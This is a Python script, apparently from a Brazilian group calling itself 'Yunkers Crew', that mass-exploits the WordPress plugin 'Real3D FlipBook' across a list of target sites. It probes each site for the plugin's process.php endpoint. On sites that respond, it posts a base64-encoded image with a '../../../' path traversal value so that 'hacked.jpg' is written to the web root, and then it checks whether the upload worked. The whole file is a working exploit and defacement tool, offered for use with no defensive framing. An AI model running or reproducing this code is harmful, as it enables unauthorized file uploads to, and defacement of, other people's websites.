import requests as r 
from colorama import Fore as F 
import os as sistema 
import base64
import argparse as arg 



sistema.system('cls' if sistema.name == 'nt' else 'reset')

def arruma(url):
	if url[-1] != "/":
		url = url + "/"
	if url[:7] != "http://" and url[:8] != "https://":
		url = "http://" + url
	return url

parser = arg.ArgumentParser(description = "Yunkers Crew")
parser.add_argument("--sites", action='store')
parser.add_argument("--imagem", action='store')
parser.add_argument("--threads", action='store', default = "10", type = int)
param = parser.parse_args()

if not param.sites:
	print("{}[-] {}Insira a lista de sites.".format(F.RED, F.WHITE))
	exit()
if not param.imagem:
	print("{}[-] {}Insira o link da imagem que será upada.".format(F.RED, F.WHITE))
	exit()

try:
	sites = open(param.sites, "r")
	sites = sites.readlines()
	sites = [site.replace("\n", "") for site in sites]
	try:
		imagem = r.get(param.imagem)
		imagem = base64.b64encode(imagem.content)
		inject = {'imgbase' : "", 
	 			'bookName' : '../../../', 
	 			'pageName' : 'hacked'}
		inject['imgbase'] = ';,' + imagem.decode('utf-8')
	except:
		print("{}[x] {}Erro ao carregar imagem.".format(F.RED, F.WHITE))
		exit()
except:
	print("{}[-] {}Erro ao abrir a imagem ou a lista.".format(F.RED, F.WHITE))
	exit()

index = r"""
{}________________________________________________________{}
__     __          _                  _____               
\ \   / /         | |                / ____|                  
 \ \_/ /   _ _ __ | | _____ _ __ ___| |     _ __ _____      __
  \   / | | | '_ \| |/ / _ \ '__/ __| |    | '__/ _ \ \ /\ / /
   | || |_| | | | |   <  __/ |  \__ \ |____| | |  __/\ V  V / 
   |_| \__,_|_| |_|_|\_\___|_|  |___/\_____|_|  \___| \_/\_/ {} 
				
Wordpress Plugin "Real3D FlipBook" (R.F.U) mass exploit :)
Criado por Supr3m0 && W4r1o6k (Yunkers Crew)
Github: www.github.com/2inf3rnal/
Facebook: www.facebook.com/yunkers01/
Skype: inf3rnal.king
________________________________________________________
""".format(F.WHITE, F.MAGENTA, F.WHITE)

vulneraveis = []
def verifica():
	for site in sites:
		url = arruma(site)
		url = url + "wp-content/plugins/real3d-flipbook/includes/process.php"
		try:
			checa = r.get(url, timeout=param.threads)
			if checa.status_code ==200 and not "404" in checa.text:
				print("{}    [OK] {}Site está vulnerável! [{}]".format(F.MAGENTA, F.WHITE, arruma(site)))
				vulneraveis.append(arruma(site))
			else:
				print("{}    [x] {}Não vulnerável! [{}]".format(F.RED, F.WHITE, arruma(site)))

		except Exception as err:
			print(err)
def exploita():
	for site in vulneraveis:
		url = site + "wp-content/plugins/real3d-flipbook/includes/process.php"
		envia = r.post(url, data=inject, timeout=param.threads)
		shell = site + "hacked.jpg"
		vshell = r.get(shell, timeout=param.threads)
		if "success" in envia.text and vshell.status_code == 200 and not "404" in vshell.text:
			print("{}    [OK] {}Site explorado com sucesso! [{}]".format(F.MAGENTA, F.WHITE, shell))
		else:
			print("{}    [x] {}Erro ao enviar o arquivo. [{}]".format(F.RED, F.WHITE, site))

if __name__ == '__main__':
    try:
    	print(index)
    	print("{}[INFO] {}Total de sites: {}".format(F.MAGENTA, F.WHITE, str(len(sites))))
    	print("{}[...] {}Verificando se os sites estão vulneráveis...\n".format(F.MAGENTA, F.WHITE))
    	verifica()
    	print("{}\n[INFO] {}Total de sites vulneráveis: {}".format(F.MAGENTA, F.WHITE, str(len(vulneraveis))))
    	print("{}[...] {}Inserindo payload...\n".format(F.MAGENTA, F.WHITE))
    	exploita()
    	print("{}\n[FINISH]".format(F.MAGENTA))
    	exit()
    except KeyboardInterrupt:
        exit('\n')
